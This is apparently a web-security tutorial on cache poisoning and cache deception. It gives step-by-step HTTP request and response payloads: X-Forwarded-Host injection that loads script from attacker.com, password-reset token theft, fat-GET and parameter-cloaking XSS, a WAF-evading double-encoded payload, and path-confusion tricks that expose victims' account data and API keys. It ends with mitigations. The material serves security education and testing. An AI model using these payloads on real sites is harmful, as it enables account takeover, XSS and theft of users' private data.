1. Identifying Cache Keys

A cache key is the set of request attributes the cache uses to determine if a stored response can be served. Typically: scheme + host + path + query string. Headers and cookies are usually not part of the cache key — meaning a response can vary based on a header while being cached the same for every user.

Detecting What Is Cached

# Add a unique cache-buster to isolate your probe
GET /js/app.js?cb=xtest1 HTTP/1.1
Host: target.com

# Second request — same buster — gets cached response:
GET /js/app.js?cb=xtest1 HTTP/1.1
Host: target.com
X-Cache: HIT    # Cache served the response
Age: 12         # Seconds since caching

# New buster — fresh request to origin:
GET /js/app.js?cb=xtest2 HTTP/1.1
X-Cache: MISS   # Origin served it

Determining If Headers Are Keyed

# Add a header and check if it changes the cache key
GET /?cb=xtest3 HTTP/1.1
Host: target.com
X-Forwarded-Host: anything

# If second identical request returns X-Cache: HIT,
# X-Forwarded-Host is NOT part of the cache key → unkeyed

# Headers commonly unkeyed (vary by CDN/cache config):
X-Forwarded-Host
X-Forwarded-Port
X-Forwarded-Scheme
X-Original-URL
X-Rewrite-URL
X-Host
Forwarded
True-Client-IP
Important: Always use unique cache-busters (random query params) for every poisoning probe. Without busters, you risk poisoning the real cached URL and affecting other users during testing — or reading a previously poisoned response instead of a fresh one.

2. Unkeyed Header — X-Forwarded-Host Poisoning

Many applications use X-Forwarded-Host to construct absolute URLs — for redirects, CSRF tokens, canonical link tags, and resource paths. When this header is unkeyed but reflected in the cached response, any user receiving the cached version gets the attacker's injected value in the HTML.

Technique 01 X-Forwarded-Host → reflected JS src → XSS for all users
GET /?cb=poison1 HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com

--- Response (cached) ---
HTTP/1.1 200 OK
X-Cache: MISS
Cache-Control: public, max-age=1800

<html>
  <script src="//attacker.com/app.js"></script>
  <link rel="canonical" href="//attacker.com/?cb=poison1">
</html>

Now serve a malicious app.js from attacker.com. Every user who receives the cached page loads your script, giving you XSS without ever injecting into the origin database.

# Verify cache picked it up (remove cb param to check real URL):
GET / HTTP/1.1
Host: target.com

X-Cache: HIT        # Poisoned response served from cache
Age: 45             # Attacker's injected header is now in every user's response

X-Forwarded-Host in Password Reset Emails

An extremely high-impact variant: if the password reset flow uses X-Forwarded-Host to build the reset link, poison the cache for the reset endpoint and steal reset tokens.

POST /password-reset HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
Content-Type: application/x-www-form-urlencoded

[email protected]

--- Email sent to victim ---
Click here to reset your password:
https://attacker.com/reset?token=SECRET_TOKEN_HERE

# Token arrives at attacker.com — full account takeover

3. Unkeyed Port & Protocol Poisoning

X-Forwarded-Port and X-Forwarded-Scheme are similarly unkeyed in many configurations. They affect how the application constructs absolute URLs and HSTS redirects.

GET /?cb=porttest HTTP/1.1
Host: target.com
X-Forwarded-Port: 1337

--- Response ---
<link rel="stylesheet" href="http://target.com:1337/css/main.css">
<form action="http://target.com:1337/login">

# All cached users' forms now post to port 1337 — attacker's listener

# Scheme downgrade — strip HTTPS
GET /?cb=schemetest HTTP/1.1
Host: target.com
X-Forwarded-Scheme: http

--- Response ---
<script src="http://target.com/app.js"></script>
# Downgraded to HTTP — MitM possible for users receiving cached page

4. Fat GET — Cache Keys on Method but Ignores Body

The HTTP spec technically allows GET requests with a body, but most servers ignore it. Some caches key on the URL and method, and pass the full request to the origin — meaning the origin reads the body while the cache keys only on the URL. Inject a malicious parameter via the body while the cache keys on the clean URL.

Technique 02 Fat GET — body parameter injected, cached clean URL poisons all users
GET /?cb=fatget1 HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

callback=<script>alert(1)</script>

--- Origin reflects body param in response ---
HTTP/1.1 200 OK
X-Cache: MISS

<p>Callback: <script>alert(1)</script></p>

The cache stored this response keyed only on GET /?cb=fatget1. Every subsequent request for that URL receives the XSS payload without the body — the cache never re-checks the body.


5. Cache Poisoning via DOM-Based XSS

The poisoned response does not need to contain server-reflected XSS. If a JavaScript file or JSON response is cached with an injected value, and the client-side code unsafely uses that value, you get DOM XSS delivered via cache to every user.

GET /config.js?cb=domtest1 HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com">/x

--- Cached config.js contains ---
var config = {
  apiBase: "//attacker.com//x",
  analyticsUrl: "//attacker.com"
};

--- Client-side code does ---
fetch(config.apiBase + '/user').then(r=>r.json()).then(processUser);
# Every user's browser makes authenticated requests to attacker.com

6. Parameter Cloaking

Some caches parse query strings differently from the origin server. A parameter that the origin reads as a separate key can be hidden from the cache — making it unkeyed — by exploiting delimiter differences.

Technique 03 Parameter cloaking via semicolon delimiter
# Cache sees: utm_content=masaaki   (single param — no poisoning)
# Origin sees: utm_content=masaaki  AND  callback=alert(1)
# because origin's framework splits on semicolons too

GET /js/tracking.js?utm_content=masaaki;callback=alert(1) HTTP/1.1
Host: target.com

--- Cache key: /js/tracking.js?utm_content=masaaki;callback=alert(1) ---
# But Varnish/Cloudflare strips utm_* by default — let's verify:

GET /js/tracking.js?utm_content=masaaki;callback=alert(1) HTTP/1.1
X-Cache: MISS

GET /js/tracking.js?utm_content=masaaki;callback=alert(1) HTTP/1.1
X-Cache: HIT   # Confirmed cached — callback param included in response

--- Cached response ---
alert(1)({"tracking": "data"});
# Any page loading /js/tracking.js?utm_content=masaaki executes alert(1)

Ruby on Rails Specific — Comma Separator

# Rails parses: /path?param[]=a,b as ["a","b"] array
# Cache may see it differently — test with:
GET /data?fields[]=name,<script>alert(1)</script> HTTP/1.1

7. Cache Key Normalization Tricks

Caches and origin servers may normalize URLs differently. A path that the cache considers identical to a cached path (due to case folding, encoding normalization, or dot-segment removal) will serve the cached response even though the origin would handle it differently.

# Encoding normalization — cache decodes %2F to /, origin doesn't
GET /api/users/masaaki%2Fadmin HTTP/1.1
# Cache normalizes to: /api/users/masaaki/admin → HIT on cached /api/users/masaaki/admin
# Origin receives raw: /api/users/masaaki%2Fadmin → different route

# Case normalization — cache lowercases path
GET /Admin/Dashboard HTTP/1.1   # Cache may key as /admin/dashboard
# Origin is case-sensitive and handles /Admin/Dashboard separately

# Double encoding bypasses WAF while cache normalizes to original
GET /search?q=%253cscript%253ealert(1)%253c%252fscript%253e HTTP/1.1
# WAF sees %25-encoded string (no XSS pattern)
# Cache stores as-is; origin double-decodes to <script>alert(1)</script>

8. Cache Deception — Path Confusion

Cache deception is the inverse of cache poisoning. The goal is to make the cache store a victim's private, authenticated response and then retrieve it as an unauthenticated user. The trick is constructing a URL that the origin treats as a dynamic authenticated endpoint but the cache treats as a static cacheable asset.

Technique 04 Path suffix confusion — /account page cached as .css file

The origin server uses path-prefix routing and ignores the suffix. The cache uses file extension to decide cacheability.

# Origin: serves /account regardless of anything after it
# Cache: sees .css extension → caches for max-age

Step 1: Attacker crafts URL and sends it to victim
https://target.com/account/nonexistent.css

Step 2: Victim (masaaki) clicks link while logged in
GET /account/nonexistent.css HTTP/1.1
Host: target.com
Cookie: session=masaakis_session_token

--- Origin responds with masaaki's account page (full PII/API keys) ---
--- Cache stores it because .css is cacheable ---
HTTP/1.1 200 OK
Cache-Control: max-age=3600
X-Cache: MISS

<html>Account: [email protected]  API-Key: sk-live-...</html>

Step 3: Attacker fetches same URL with no session cookie
GET /account/nonexistent.css HTTP/1.1
Host: target.com

HTTP/1.1 200 OK
X-Cache: HIT   # Victim's account data served to unauthenticated attacker

9. Path Delimiter Confusion

Different components in the stack interpret path delimiters differently. What the cache sees as a path may be truncated or extended relative to what the origin sees. These discrepancies are the core of delimiter-based cache deception.

# Semicolon as path delimiter (Nginx/Tomcat treat ; as end of path)
GET /account;masaaki.css HTTP/1.1
# Nginx strips everything from ; onward → origin sees /account
# Cache sees full path /account;masaaki.css → keyed on .css extension

# URL-encoded newline
GET /account%0a.css HTTP/1.1
# Cache sees /account%0a.css → extension .css
# Some origin normalizers strip %0a → sees /account.css → serves account

# URL-encoded dot
GET /account%2e.css HTTP/1.1
# Cache: extension is .css
# Origin: %2e decoded to . → /account..css? Or path traversal?

# Encoded slash — cache treats as single path segment
GET /account%2fcacheme.css HTTP/1.1
# Cache sees: /account%2fcacheme.css → one segment with .css
# Origin decodes %2f to /: /account/cacheme.css → may route to /account handler

# Null byte (some caches stop at null)
GET /account%00.css HTTP/1.1
Testing tip: For each delimiter variant, first confirm the origin serves the account page (you're authenticated). Then check if the response includes X-Cache: MISS and a caching header. Then request the same URL without authentication to confirm cache hit returns your data.

10. Cache Deception via Path Normalization Differences

When the cache normalizes a path before keying but the origin uses the raw path for routing, the same URL can be two different things to each component. This is exploitable for both poisoning and deception.

# Dot-segment resolution — cache resolves ../ before keying
GET /static/../account HTTP/1.1
# Cache normalizes: /static/../account → /account
# Cache key: /account — same as the real account page!
# Origin receives raw path and may serve account page
# Cache stores under /account key — poisons the real /account for everyone

# Reverse variant for deception:
GET /account/../../static/nonexistent.css HTTP/1.1
# Cache sees .css extension → cacheable
# Origin (before normalization) routes /account/... → account handler

If the cache strips cookies before keying (which many CDNs do for performance — cookies make responses "uncacheable" by default so the CDN strips them to force caching), an authenticated response can be cached and served to unauthenticated users.

Technique 05 CDN strips session cookie → authenticated response cached publicly
# CDN configured to strip Cookie header before caching
# Cache-Control: public, max-age=300 set by origin (misconfiguration)

Victim request (authenticated):
GET /api/v1/user/profile HTTP/1.1
Cookie: session=masaaki_tok_abc123

CDN strips cookie → forwards to origin as:
GET /api/v1/user/profile HTTP/1.1
(no Cookie header)

Origin returns profile because it uses a different auth mechanism,
or the CDN re-adds the cookie for the origin but caches without it.

Origin response:
HTTP/1.1 200 OK
Cache-Control: public, max-age=300
Content-Type: application/json

{
  "email": "[email protected]",
  "api_key": "sk-live-supersecret",
  "role": "admin"
}

Attacker fetches unauthenticated — gets HIT with victim's data.

12. Prevention & Mitigations

Vary header for unkeyed inputs

If your application uses a header (like X-Forwarded-Host) in response construction, include it in the Vary response header. This forces the cache to treat responses with different header values as separate cache entries.

Never use unvalidated headers in URLs

Do not use X-Forwarded-Host, X-Forwarded-Port, or any client-supplied header to construct absolute URLs, CSRF tokens, or resource paths. Use the application's configured base URL instead.

Cache-Control: private for authenticated responses

Responses that contain user-specific data must be served with Cache-Control: private, no-store. Never serve authenticated content with Cache-Control: public. Audit every authenticated endpoint.

Strict path matching at origin

Origin servers should reject or return 404 for paths containing unexpected suffixes on dynamic routes. Do not let /account/anything.css route to the account handler — validate paths strictly.

Normalize before caching

Ensure the cache and the origin agree on path normalization — dot-segments, percent-encoding, case sensitivity. Use CDN rules to normalize URLs before caching to prevent split-view attacks.

Disable fat GET / restrict body in GET

Configure origin servers to ignore GET request bodies. Validate that your cache does not forward GET body parameters to origin while keying only on URL.

Testing checklist: Test every header for reflection in responses (unkeyed = poisonable). Test path normalization differences between CDN and origin. Test every static-asset-style suffix appended to authenticated endpoints. Always use unique cache busters to avoid poisoning real users during recon.